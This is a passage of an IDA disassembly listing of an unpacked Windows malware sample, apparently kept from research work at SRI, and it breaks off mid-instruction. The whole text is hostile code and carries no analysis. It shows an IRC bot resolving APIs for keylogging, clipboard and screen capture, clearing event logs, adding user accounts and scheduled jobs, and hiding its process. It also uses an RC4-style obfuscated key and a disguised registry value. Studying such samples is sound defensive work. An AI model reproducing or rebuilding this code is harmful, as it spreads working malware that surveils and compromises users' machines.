; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 8D5032C500AD1B0A106B20183EA4D3A4 ; File Name : u:\work\8d5032c500ad1b0a106b20183ea4d3a4_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 000DD000 ( 905216.) ; Section size in file : 000DD000 ( 905216.) ; Offset to raw data for section: 00001000 ; Flags E0000040: Data Executable Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute ___ segment para public 'CODE' use32 assume cs:___ ;org 401000h assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401000 proc near ; CODE XREF: ___:00402AE7p ; sub_411FA3+1Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, offset dword_436050 xor esi, esi mov ebx, offset aMicrosoftGetwa ; "MicroSoft Getway mqbol" loc_401013: ; CODE XREF: sub_401000+69j lea eax, [ebp+var_4] push esi push eax push esi push 0F003Fh push esi push esi push esi push dword ptr [edi+4] push dword ptr [edi] call dword_4452FC cmp [ebp+arg_0], esi jz short loc_40104D push [ebp+arg_0] call sub_414BE0 pop ecx push eax push [ebp+arg_0] push 1 push esi push ebx push [ebp+var_4] call dword_44536C jmp short loc_401057 ; --------------------------------------------------------------------------- loc_40104D: ; CODE XREF: sub_401000+2Fj push ebx push [ebp+var_4] call dword_4452AC loc_401057: ; CODE XREF: sub_401000+4Bj push [ebp+var_4] call dword_445324 add edi, 8 cmp edi, offset dword_436068 jl short loc_401013 pop edi pop esi pop ebx leave retn sub_401000 endp ; =============== S U B R O U T I N E ======================================= sub_401070 proc near ; CODE XREF: sub_4010AB+56p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov edx, [esp+arg_0] push esi or esi, 0FFFFFFFFh test eax, eax jz short loc_4010A5 push ebx push edi lea edi, [eax] mov ecx, 0FFh loc_401089: ; CODE XREF: sub_401070+31j mov al, [edx] mov ebx, esi and eax, ecx and ebx, ecx xor eax, ebx shr esi, 8 mov eax, dword_43301C[eax*4] xor esi, eax inc edx dec edi jnz short loc_401089 pop edi pop ebx loc_4010A5: ; CODE XREF: sub_401070+Ej mov eax, esi pop esi not eax retn sub_401070 endp ; =============== S U B R O U T I N E ======================================= sub_4010AB proc near ; CODE XREF: ___:004112A7p var_10 = dword ptr -10h arg_0 = dword ptr 4 push ebx push esi xor ebx, ebx push edi push ebx call sub_414DB0 mov [esp+10h+var_10], offset dword_436068 push [esp+10h+arg_0] mov esi, eax call sub_417050 mov edi, eax pop ecx test edi, edi pop ecx jz short loc_4010FA loc_4010D0: ; CODE XREF: sub_4010AB+4Dj test byte ptr [edi+0Ch], 10h jnz short loc_4010FE inc ebx push ebx push esi call sub_415240 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_4010FA push edi push 1 lea eax, [esi+ebx-1] push 1 push eax call sub_416D40 add esp, 10h jmp short loc_4010D0 ; --------------------------------------------------------------------------- loc_4010FA: ; CODE XREF: sub_4010AB+23j ; sub_4010AB+39j xor eax, eax jmp short loc_401119 ; --------------------------------------------------------------------------- loc_4010FE: ; CODE XREF: sub_4010AB+29j dec ebx push ebx push esi call sub_401070 push esi mov ebx, eax call sub_415820 push edi call sub_414C60 add esp, 10h mov eax, ebx loc_401119: ; CODE XREF: sub_4010AB+51j pop edi pop esi pop ebx retn sub_4010AB endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 240h push ebx push esi lea eax, [ebp-34h] push edi xor ebx, ebx push eax xor edi, edi mov byte ptr [ebp-34h], 0Ah mov byte ptr [ebp-33h], 0Eh mov byte ptr [ebp-32h], 20h mov byte ptr [ebp-31h], 48h mov byte ptr [ebp-30h], 0Bh mov byte ptr [ebp-2Fh], 2Bh mov byte ptr [ebp-2Eh], 0Ch mov byte ptr [ebp-2Dh], 23h mov byte ptr [ebp-2Ch], 3Ah mov byte ptr [ebp-2Bh], 27h mov byte ptr [ebp-2Ah], 28h mov byte ptr [ebp-29h], 5Eh mov byte ptr [ebp-28h], 2Ah mov byte ptr [ebp-27h], 1Eh mov byte ptr [ebp-26h], 2Dh mov byte ptr [ebp-25h], 5Ah mov byte ptr [ebp-24h], 1Bh mov byte ptr [ebp-23h], 0Fh mov byte ptr [ebp-22h], 4Ch mov byte ptr [ebp-21h], 44h mov byte ptr [ebp-20h], 16h mov byte ptr [ebp-1Fh], 4 mov byte ptr [ebp-1Eh], 57h mov byte ptr [ebp-1Dh], 23h mov byte ptr [ebp-1Ch], 11h mov byte ptr [ebp-1Bh], 53h mov byte ptr [ebp-1Ah], 38h mov byte ptr [ebp-19h], 13h mov byte ptr [ebp-18h], 0Dh mov byte ptr [ebp-17h], 12h mov byte ptr [ebp-16h], 25h mov byte ptr [ebp-15h], 1Ch mov byte ptr [ebp-14h], 30h mov byte ptr [ebp-13h], 12h mov byte ptr [ebp-12h], 50h mov byte ptr [ebp-11h], 4Fh mov byte ptr [ebp-10h], 39h mov byte ptr [ebp-0Fh], 10h mov byte ptr [ebp-0Eh], 42h mov byte ptr [ebp-0Dh], 1Fh mov byte ptr [ebp-0Ch], 37h mov byte ptr [ebp-0Bh], 1Dh mov byte ptr [ebp-0Ah], 41h mov byte ptr [ebp-9], 55h mov byte ptr [ebp-8], 2Ch mov byte ptr [ebp-7], 41h mov byte ptr [ebp-6], 2Ch mov byte ptr [ebp-5], 58h mov [ebp-4], bl call sub_414BE0 mov esi, 101h mov [ebp-38h], eax push esi lea eax, [ebp-13Ch] push ebx push eax call sub_417070 push esi lea eax, [ebp-240h] push ebx push eax call sub_417070 add esp, 1Ch xor eax, eax mov ecx, 100h loc_401227: ; CODE XREF: ___:00401231j mov [ebp+eax-13Ch], al inc eax cmp eax, ecx jb short loc_401227 cmp [ebp+14h], ebx jz short loc_401256 xor eax, eax loc_40123A: ; CODE XREF: ___:00401252j cmp edi, [ebp+14h] jnz short loc_401241 xor edi, edi loc_401241: ; CODE XREF: ___:0040123Dj mov edx, [ebp+10h] mov dl, [edi+edx] inc edi mov [ebp+eax-240h], dl inc eax cmp eax, ecx jb short loc_40123A jmp short loc_401270 ; --------------------------------------------------------------------------- loc_401256: ; CODE XREF: ___:00401236j xor esi, esi loc_401258: ; CODE XREF: ___:0040126Ej cmp edi, [ebp-38h] jnz short loc_40125F xor edi, edi loc_40125F: ; CODE XREF: ___:0040125Bj mov al, [ebp+edi-34h] inc edi mov [ebp+esi-240h], al inc esi cmp esi, ecx jb short loc_401258 loc_401270: ; CODE XREF: ___:00401254j mov [ebp+14h], ebx xor edi, edi mov eax, 0FFh loc_40127A: ; CODE XREF: ___:004012B4j mov dl, [ebp+edi-13Ch] mov ebx, [ebp+14h] mov cl, [ebp+edi-240h] lea esi, [ebp+edi-13Ch] add ebx, edx add ecx, ebx and ecx, eax inc edi mov [ebp+14h], ecx cmp edi, 100h mov bl, [ebp+ecx-13Ch] lea ecx, [ebp+ecx-13Ch] mov [esi], bl mov [ecx], dl jb short loc_40127A xor edi, edi cmp [ebp+0Ch], edi mov [ebp+14h], edi mov [ebp+10h], edi jbe short loc_401312 loc_4012C3: ; CODE XREF: ___:00401310j inc edi and edi, eax mov dl, [ebp+edi-13Ch] lea ecx, [ebp+edi-13Ch] mov bl, dl add ebx, [ebp+14h] and ebx, eax mov esi, ebx mov bl, [ebp+esi-13Ch] mov [ebp+14h], esi mov [ecx], bl lea esi, [ebp+esi-13Ch] mov ebx, [ebp+10h] mov [esi], dl mov cl, [ecx] mov esi, [ebp+8] add ecx, edx and ecx, eax add esi, ebx mov cl, [ebp+ecx-13Ch] xor [esi], cl inc ebx cmp ebx, [ebp+0Ch] mov [ebp+10h], ebx jb short loc_4012C3 loc_401312: ; CODE XREF: ___:004012C1j pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401317 proc near ; DATA XREF: ___:004027A6o var_2B8 = dword ptr -2B8h var_25C = byte ptr -25Ch var_158 = byte ptr -158h var_54 = dword ptr -54h var_48 = dword ptr -48h var_28 = dword ptr -28h var_24 = word ptr -24h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 25Ch push ebx push esi push edi push dword_44621C call dword_4453E0 call sub_40901C call dword_4452A0 call dword_4452A0 mov ebx, dword_4DD2CC push 64h call ebx xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_417070 push 44h lea eax, [ebp+var_54] pop esi push esi push edi push eax call sub_417070 add esp, 18h mov [ebp+var_54], esi mov esi, 104h lea eax, [ebp+var_25C] push esi push eax mov [ebp+var_48], offset dword_445200 mov [ebp+var_28], 1 mov [ebp+var_24], di nop call near ptr 2690000h lea eax, [ebp+var_158] push esi push eax push edi nop call near ptr 2680000h lea eax, [ebp+var_10] push eax lea eax, [ebp+var_54] push eax lea eax, [ebp+var_25C] push eax push edi push 28h push 1 push edi lea eax, [ebp+var_158] push edi push eax push edi nop call near ptr 267039Fh test eax, eax jz short loc_4013DC push 64h call ebx push [ebp+var_10] mov esi, dword_4DD2BC call esi push [ebp+var_C] call esi loc_4013DC: ; CODE XREF: sub_401317+AFj mov eax, [ebp+arg_8] mov dword ptr [eax+0B0h], offset dword_4451F8 mov eax, [esp+2B8h+var_2B8] mov large fs:0, eax add esp, 8 push edi nop call near ptr 77E75CB5h pop edi pop esi pop ebx sub_401317 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4013FF proc near ; CODE XREF: sub_402EC0+3Dp ; sub_403038+1C2p ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 200h lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push 200h push eax call sub_4170D0 add esp, 10h lea eax, [ebp+var_200] push 0 push eax call sub_414BE0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_445398 leave retn sub_4013FF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401445 proc near ; CODE XREF: sub_40219C+40p ; sub_40219C+74p ... var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 400h cmp [ebp+arg_C], 0 push esi push edi mov edi, offset aNotice ; "NOTICE" jnz short loc_401460 mov edi, offset aPrivmsg ; "PRIVMSG" loc_401460: ; CODE XREF: sub_401445+14j push edi call sub_414BE0 push [ebp+arg_4] mov esi, 1FAh sub esi, eax call sub_414BE0 push [ebp+arg_8] sub esi, eax lea eax, [ebp+var_400] push offset aS ; "%s" push esi push eax call sub_4172D0 lea eax, [ebp+var_400] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push edi push offset aSSS ; "%s %s :%s\r\n" push eax call sub_4171D0 add esp, 2Ch lea eax, [ebp+var_200] push 0 push eax call sub_414BE0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_445398 cmp [ebp+arg_10], 0 pop edi pop esi jz short locret_4014DE push 7D0h nop call near ptr 2690599h locret_4014DE: ; CODE XREF: sub_401445+8Cj leave retn sub_401445 endp ; =============== S U B R O U T I N E ======================================= sub_4014E0 proc near ; CODE XREF: ___:004027DDp push ebx push ebp mov ebp, dword_4DD2DC push esi loc_4014E9: ; DATA XREF: ___:0043F2F0o ; ___:0043F300o push edi push offset aKernel32_dll ; "kernel32.dll" call ebp mov esi, dword_4DD2D8 mov edi, eax xor ebx, ebx cmp edi, ebx jz loc_401600 push offset aSeterrormode ; "SetErrorMode" push edi call esi push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot" push edi mov dword_4453F4, eax call esi push offset aProcess32first ; "Process32First" push edi mov dword_445368, eax call esi push offset aProcess32next ; "Process32Next" push edi mov dword_44534C, eax call esi push offset aModule32first ; "Module32First" push edi mov dword_44525C, eax call esi push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA" push edi mov dword_445208, eax call esi push offset aGetlogicaldriv ; "GetLogicalDriveStringsA" push edi mov dword_445238, eax call esi push offset aGetdrivetypea ; "GetDriveTypeA" push edi mov dword_4452B0, eax call esi push offset aSearchpatha ; "SearchPathA" push edi mov dword_4453A8, eax call esi push offset aQueryperforman ; "QueryPerformanceCounter" push edi mov dword_445404, eax call esi push offset aQueryperform_0 ; "QueryPerformanceFrequency" push edi mov dword_445268, eax call esi cmp dword_4453F4, ebx mov dword_445250, eax jz short loc_4015DE cmp dword_445368, ebx jz short loc_4015DE cmp dword_44534C, ebx jz short loc_4015DE cmp dword_44525C, ebx jz short loc_4015DE cmp dword_445238, ebx jz short loc_4015DE cmp dword_4452B0, ebx jz short loc_4015DE cmp dword_4453A8, ebx jz short loc_4015DE cmp dword_445404, ebx jz short loc_4015DE cmp dword_445268, ebx jz short loc_4015DE cmp eax, ebx jnz short loc_4015E8 loc_4015DE: ; CODE XREF: sub_4014E0+B8j ; sub_4014E0+C0j ... mov dword_445408, 1 loc_4015E8: ; CODE XREF: sub_4014E0+FCj push offset aRegisterservic ; "RegisterServiceProcess" push edi call esi cmp eax, ebx mov dword_445380, eax jz short loc_401615 push 1 push ebx call eax jmp short loc_401615 ; --------------------------------------------------------------------------- loc_401600: ; CODE XREF: sub_4014E0+1Dj call near ptr 26908EFh nop mov dword_44540C, eax mov dword_445408, 1 loc_401615: ; CODE XREF: sub_4014E0+117j ; sub_4014E0+11Ej push offset aUser32_dll ; "user32.dll" nop call near ptr 2690610h mov edi, eax cmp edi, ebx jz loc_40172A push offset aSendmessagea ; "SendMessageA" push edi call esi push offset aFindwindowa ; "FindWindowA" push edi mov dword_4453A4, eax call esi push offset aIswindow ; "IsWindow" push edi mov dword_445354, eax call esi push offset aDestroywindow ; "DestroyWindow" push edi mov dword_4452E8, eax call esi push offset aOpenclipboard ; "OpenClipboard" push edi mov dword_4453F8, eax call esi push offset aGetclipboardda ; "GetClipboardData" push edi mov dword_445318, eax call esi push offset aCloseclipboard ; "CloseClipboard" push edi mov dword_445338, eax call esi push offset aExitwindowsex ; "ExitWindowsEx" push edi mov dword_44539C, eax call esi cmp dword_4453A4, ebx mov dword_445288, eax jz short loc_4016CE cmp dword_445354, ebx jz short loc_4016CE cmp dword_4452E8, ebx jz short loc_4016CE cmp dword_4453F8, ebx jz short loc_4016CE cmp dword_445318, ebx jz short loc_4016CE cmp dword_445338, ebx jz short loc_4016CE cmp dword_44539C, ebx jz short loc_4016CE cmp eax, ebx jnz short loc_4016D8 loc_4016CE: ; CODE XREF: sub_4014E0+1B8j ; sub_4014E0+1C0j ... mov dword_445410, 1 loc_4016D8: ; CODE XREF: sub_4014E0+1ECj push offset aGetasynckeysta ; "GetAsyncKeyState" push edi call esi push offset aGetkeystate ; "GetKeyState" push edi mov dword_445314, eax call esi push offset aGetwindowtexta ; "GetWindowTextA" push edi mov dword_44521C, eax call esi push offset aGetforegroundw ; "GetForegroundWindow" push edi mov dword_4452E4, eax call esi cmp dword_445314, ebx mov dword_4452CC, eax jz short loc_401735 cmp dword_44521C, ebx jz short loc_401735 cmp dword_4452E4, ebx jz short loc_401735 cmp eax, ebx jnz short loc_40173F jmp short loc_401735 ; --------------------------------------------------------------------------- loc_40172A: ; CODE XREF: sub_4014E0+144j nop call near ptr 26908EFh mov dword_445414, eax loc_401735: ; CODE XREF: sub_4014E0+232j ; sub_4014E0+23Aj ... mov dword_445410, 1 loc_40173F: ; CODE XREF: sub_4014E0+246j push offset aAdvapi32_dll ; "advapi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_4018F8 push offset aRegopenkeyexa ; "RegOpenKeyExA" push edi call esi push offset aRegcreatekeyex ; "RegCreateKeyExA" push edi mov dword_4453B8, eax call esi push offset aRegsetvalueexa ; "RegSetValueExA" push edi mov dword_4452FC, eax call esi push offset aRegqueryvaluee ; "RegQueryValueExA" push edi mov dword_44536C, eax call esi push offset aRegdeletevalue ; "RegDeleteValueA" push edi mov dword_445248, eax call esi push offset aRegclosekey ; "RegCloseKey" push edi mov dword_4452AC, eax call esi push offset aOpeneventloga ; "OpenEventLogA" push edi mov dword_445324, eax call esi push offset aCleareventloga ; "ClearEventLogA" push edi mov dword_4452C8, eax call esi cmp dword_4453B8, ebx mov dword_4452D8, eax jz short loc_4017E8 cmp dword_4452FC, ebx jz short loc_4017E8 cmp dword_44536C, ebx jz short loc_4017E8 cmp dword_445248, ebx jz short loc_4017E8 cmp dword_4452AC, ebx jz short loc_4017E8 cmp dword_445324, ebx jnz short loc_4017F2 loc_4017E8: ; CODE XREF: sub_4014E0+2DEj ; sub_4014E0+2E6j ... mov dword_445418, 1 loc_4017F2: ; CODE XREF: sub_4014E0+306j push offset aOpenprocesstok ; "OpenProcessToken" push edi call esi push offset aLookupprivileg ; "LookupPrivilegeValueA" push edi mov dword_44532C, eax call esi push offset aAdjusttokenpri ; "AdjustTokenPrivileges" push edi mov dword_445304, eax call esi cmp dword_44532C, ebx mov dword_4453B4, eax jz short loc_40182D cmp dword_445304, ebx jz short loc_40182D cmp eax, ebx jnz short loc_401837 loc_40182D: ; CODE XREF: sub_4014E0+33Fj ; sub_4014E0+347j mov dword_445418, 1 loc_401837: ; CODE XREF: sub_4014E0+34Bj push offset aOpenscmanagera ; "OpenSCManagerA" push edi call esi push offset aOpenservicea ; "OpenServiceA" push edi mov dword_44533C, eax call esi push offset aStartservicea ; "StartServiceA" push edi mov dword_445224, eax call esi push offset aControlservice ; "ControlService" push edi mov dword_44522C, eax call esi push offset aDeleteservice ; "DeleteService" push edi mov dword_445290, eax call esi push offset aCloseserviceha ; "CloseServiceHandle" push edi mov dword_445294, eax call esi push offset aEnumservicesst ; "EnumServicesStatusA" push edi mov dword_445240, eax call esi push offset aIsvalidsecurit ; "IsValidSecurityDescriptor" push edi mov dword_445308, eax call esi cmp dword_44533C, ebx mov dword_445230, eax jz short loc_4018DB cmp dword_445224, ebx jz short loc_4018DB cmp dword_44522C, ebx jz short loc_4018DB cmp dword_445290, ebx jz short loc_4018DB cmp dword_445294, ebx jz short loc_4018DB cmp dword_445240, ebx jz short loc_4018DB cmp dword_445308, ebx jz short loc_4018DB cmp eax, ebx jnz short loc_4018E5 loc_4018DB: ; CODE XREF: sub_4014E0+3C5j ; sub_4014E0+3CDj ... mov dword_445418, 1 loc_4018E5: ; CODE XREF: sub_4014E0+3F9j push offset aGetusernamea ; "GetUserNameA" push edi call esi cmp eax, ebx mov dword_445228, eax jnz short loc_40190D jmp short loc_401903 ; --------------------------------------------------------------------------- loc_4018F8: ; CODE XREF: sub_4014E0+26Aj nop call near ptr 26908EFh mov dword_44541C, eax loc_401903: ; CODE XREF: sub_4014E0+416j mov dword_445418, 1 loc_40190D: ; CODE XREF: sub_4014E0+414j push offset aGdi32_dll ; "gdi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_4019D9 push offset aCreatedca ; "CreateDCA" push edi call esi push offset aCreatedibsecti ; "CreateDIBSection" push edi mov dword_445334, eax call esi push offset aCreatecompatib ; "CreateCompatibleDC" push edi mov dword_44538C, eax call esi push offset aGetdevicecaps ; "GetDeviceCaps" push edi mov dword_445394, eax call esi push offset aGetdibcolortab ; "GetDIBColorTable" push edi mov dword_445350, eax call esi push offset aSelectobject ; "SelectObject" push edi mov dword_44526C, eax call esi push offset aBitblt ; "BitBlt" push edi mov dword_445218, eax call esi push offset aDeletedc ; "DeleteDC" push edi mov dword_445390, eax call esi push offset aDeleteobject ; "DeleteObject" push edi mov dword_445204, eax call esi cmp dword_445334, ebx mov dword_4452A4, eax jz short loc_4019E4 cmp dword_44538C, ebx jz short loc_4019E4 cmp dword_445394, ebx jz short loc_4019E4 cmp dword_445350, ebx jz short loc_4019E4 cmp dword_44526C, ebx jz short loc_4019E4 cmp dword_445218, ebx jz short loc_4019E4 cmp dword_445390, ebx jz short loc_4019E4 cmp dword_445204, ebx jz short loc_4019E4 cmp eax, ebx jnz short loc_4019EE jmp short loc_4019E4 ; --------------------------------------------------------------------------- loc_4019D9: ; CODE XREF: sub_4014E0+438j nop call near ptr 26908EFh mov dword_445424, eax loc_4019E4: ; CODE XREF: sub_4014E0+4B9j ; sub_4014E0+4C1j ... mov dword_445420, 1 loc_4019EE: ; CODE XREF: sub_4014E0+4F5j mov ebp, dword_4DD2D0 push offset aWs2_32_dll ; "ws2_32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_401CAA push offset aWsastartup ; "WSAStartup" push edi call esi push offset aWsasocketa ; "WSASocketA" push edi mov dword_4452B8, eax call esi push offset aWsaasyncselect ; "WSAAsyncSelect" push edi mov dword_4453EC, eax call esi push offset a__wsafdisset ; "__WSAFDIsSet" push edi mov dword_445258, eax call esi push offset aWsaioctl ; "WSAIoctl" push edi mov dword_445234, eax call esi push offset aWsagetlasterro ; "WSAGetLastError" push edi mov dword_4452F4, eax call esi push offset aWsacleanup ; "WSACleanup" push edi mov dword_4452DC, eax call esi push offset aSocket ; "socket" push edi mov dword_4452A0, eax call esi push offset aIoctlsocket ; "ioctlsocket" push edi mov dword_4453C8, eax call esi push offset aConnect ; "connect" push edi mov dword_4453E4, eax call esi push offset aInet_ntoa ; "inet_ntoa" push edi mov dword_4452F0, eax call esi push offset aInet_addr ; "inet_addr" push edi mov dword_4453D4, eax call esi push offset aHtons ; "htons" push edi mov dword_445388, eax call esi push offset aHtonl ; "htonl" push edi mov dword_445348, eax call esi push offset aNtohs ; "ntohs" push edi mov dword_445344, eax call esi push offset aNtohl ; "ntohl" push edi mov dword_445278, eax call esi push offset aSend ; "send" push edi mov dword_445270, eax call esi push offset aSendto ; "sendto" push edi mov dword_445398, eax call esi push offset aRecv ; "recv" push edi mov dword_4453AC, eax call esi push offset aRecvfrom ; "recvfrom" push edi mov dword_445360, eax call esi mov dword_445320, eax push offset aBind ; "bind" push edi call esi push offset aSelect ; "select" push edi mov dword_445374, eax call esi push offset aListen ; "listen" push edi mov dword_445330, eax call esi push offset aAccept ; "accept" push edi mov dword_445370, eax call esi push offset aSetsockopt ; "setsockopt" push edi mov dword_4453DC, eax call esi push offset aGetsockname ; "getsockname" push edi mov dword_445328, eax call esi push offset aGethostname ; "gethostname" push edi mov dword_4452EC, eax call esi push offset aGethostbyname ; "gethostbyname" push edi mov dword_44535C, eax call esi push offset aGethostbyaddr ; "gethostbyaddr" push edi mov dword_4453CC, eax call esi push offset aGetpeername ; "getpeername" push edi mov dword_445300, eax call esi push offset aClosesocket ; "closesocket" push edi mov dword_44529C, eax call esi cmp dword_4452B8, ebx mov dword_4453E0, eax jz loc_401CB5 cmp dword_4453EC, ebx jz loc_401CB5 cmp dword_445258, ebx jz loc_401CB5 cmp dword_4452F4, ebx jz loc_401CB5 cmp dword_4452DC, ebx jz loc_401CB5 cmp dword_4452A0, ebx jz loc_401CB5 cmp dword_4453C8, ebx jz loc_401CB5 cmp dword_4453E4, ebx jz loc_401CB5 cmp dword_4452F0, ebx jz loc_401CB5 cmp dword_4453D4, ebx jz loc_401CB5 cmp dword_445388, ebx jz loc_401CB5 cmp dword_445348, ebx jz loc_401CB5 cmp dword_445344, ebx jz loc_401CB5 cmp dword_445278, ebx jz short loc_401CB5 cmp dword_445398, ebx jz short loc_401CB5 cmp dword_4453AC, ebx jz short loc_401CB5 cmp dword_445360, ebx jz short loc_401CB5 cmp dword_445320, ebx jz short loc_401CB5 cmp dword_445374, ebx jz short loc_401CB5 cmp dword_445330, ebx jz short loc_401CB5 cmp dword_445370, ebx jz short loc_401CB5 cmp dword_4453DC, ebx jz short loc_401CB5 cmp dword_445328, ebx jz short loc_401CB5 cmp dword_4452EC, ebx jz short loc_401CB5 cmp dword_44535C, ebx jz short loc_401CB5 cmp dword_4453CC, ebx jz short loc_401CB5 cmp dword_445300, ebx jz short loc_401CB5 cmp eax, ebx jnz short loc_401CBF jmp short loc_401CB5 ; --------------------------------------------------------------------------- loc_401CAA: ; CODE XREF: sub_4014E0+51Fj nop call near ptr 26908EFh mov dword_44542C, eax loc_401CB5: ; CODE XREF: sub_4014E0+6BEj ; sub_4014E0+6CAj ... mov dword_445428, 1 loc_401CBF: ; CODE XREF: sub_4014E0+7C6j push offset aWininet_dll ; "wininet.dll" call ebp mov edi, eax cmp edi, ebx jz loc_401DC4 push offset aInternetgetcon ; "InternetGetConnectedState" push edi call esi push offset aInternetgetc_0 ; "InternetGetConnectedStateEx" push edi mov dword_445284, eax call esi push offset aHttpopenreques ; "HttpOpenRequestA" push edi mov dword_44520C, eax call esi push offset aHttpsendreques ; "HttpSendRequestA" push edi mov dword_445310, eax call esi push offset aInternetconnec ; "InternetConnectA" push edi mov dword_4452BC, eax call esi push offset aInternetopena ; "InternetOpenA" push edi mov dword_44531C, eax call esi push offset aInternetopenur ; "InternetOpenUrlA" push edi mov dword_4452E0, eax call esi push offset aInternetcracku ; "InternetCrackUrlA" push edi mov dword_44524C, eax call esi push offset aInternetreadfi ; "InternetReadFile" push edi mov dword_445244, eax call esi push offset aInternetcloseh ; "InternetCloseHandle" push edi mov dword_445254, eax call esi cmp dword_445284, ebx mov ecx, dword_4452E0 mov dword_44537C, eax jz short loc_401DA0 cmp dword_44520C, ebx jz short loc_401DA0 cmp dword_445310, ebx jz short loc_401DA0 cmp dword_4452BC, ebx jz short loc_401DA0 cmp dword_44531C, ebx jz short loc_401DA0 cmp ecx, ebx jz short loc_401DA0 cmp dword_44524C, ebx jz short loc_401DA0 cmp dword_445244, ebx jz short loc_401DA0 cmp dword_445254, ebx jz short loc_401DA0 cmp eax, ebx jnz short loc_401DAA loc_401DA0: ; CODE XREF: sub_4014E0+87Ej ; sub_4014E0+886j ... mov dword_445430, 1 loc_401DAA: ; CODE XREF: sub_4014E0+8BEj cmp ecx, ebx jz short loc_401DDF push ebx push ebx push ebx push ebx push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)" call ecx cmp eax, ebx mov dword_4452F8, eax jnz short loc_401DDF jmp short loc_401DD9 ; --------------------------------------------------------------------------- loc_401DC4: ; CODE XREF: sub_4014E0+7EAj nop call near ptr 26908EFh mov dword_445434, eax mov dword_445430, 1 loc_401DD9: ; CODE XREF: sub_4014E0+8E2j mov dword_4452F8, ebx loc_401DDF: ; CODE XREF: sub_4014E0+8CCj ; sub_4014E0+8E0j push offset aIcmp_dll ; "icmp.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_401E29 push offset aIcmpcreatefile ; "IcmpCreateFile" push edi call esi push offset aIcmpclosehandl ; "IcmpCloseHandle" push edi mov dword_4452D0, eax call esi push offset aIcmpsendecho ; "IcmpSendEcho" push edi mov dword_445400, eax call esi cmp dword_4452D0, ebx mov dword_445260, eax jz short loc_401E34 cmp dword_445400, ebx jz short loc_401E34 cmp eax, ebx jnz short loc_401E3E jmp short loc_401E34 ; --------------------------------------------------------------------------- loc_401E29: ; CODE XREF: sub_4014E0+90Aj nop call near ptr 26908EFh mov dword_44543C, eax loc_401E34: ; CODE XREF: sub_4014E0+939j ; sub_4014E0+941j ... mov dword_445438, 1 loc_401E3E: ; CODE XREF: sub_4014E0+945j push offset aNetapi32_dll ; "netapi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_401F45 push offset aNetshareadd ; "NetShareAdd" push edi call esi push offset aNetsharedel ; "NetShareDel" push edi mov dword_44523C, eax call esi push offset aNetshareenum ; "NetShareEnum" push edi mov dword_445214, eax call esi push offset aNetschedulejob ; "NetScheduleJobAdd" push edi mov dword_44528C, eax call esi push offset aNetapibufferfr ; "NetApiBufferFree" push edi mov dword_4452C0, eax call esi push offset aNetremotetod ; "NetRemoteTOD" push edi mov dword_4453D8, eax call esi push offset aNetuseradd ; "NetUserAdd" push edi mov dword_445274, eax call esi push offset aNetuserdel ; "NetUserDel" push edi mov dword_445220, eax call esi push offset aNetuserenum ; "NetUserEnum" push edi mov dword_445210, eax call esi push offset aNetusergetinfo ; "NetUserGetInfo" push edi mov dword_4452A8, eax call esi push offset aNetmessagebuff ; "NetMessageBufferSend" push edi mov dword_4453A0, eax call esi push offset aNetwkstagetinf ; "NetWkstaGetInfo" push edi mov dword_445358, eax call esi cmp dword_44523C, ebx mov dword_44527C, eax jz short loc_401F50 cmp dword_445214, ebx jz short loc_401F50 cmp dword_44528C, ebx jz short loc_401F50 cmp dword_4452C0, ebx jz short loc_401F50 cmp dword_4453D8, ebx jz short loc_401F50 cmp dword_445274, ebx jz short loc_401F50 cmp dword_445220, ebx jz short loc_401F50 cmp dword_445210, ebx jz short loc_401F50 cmp dword_4452A8, ebx jz short loc_401F50 cmp dword_4453A0, ebx jz short loc_401F50 cmp dword_445358, ebx jnz short loc_401F5A jmp short loc_401F50 ; --------------------------------------------------------------------------- loc_401F45: ; CODE XREF: sub_4014E0+969j call near ptr 26908EFh nop mov dword_445444, eax loc_401F50: ; CODE XREF: sub_4014E0+A11j ; sub_4014E0+A19j ... mov 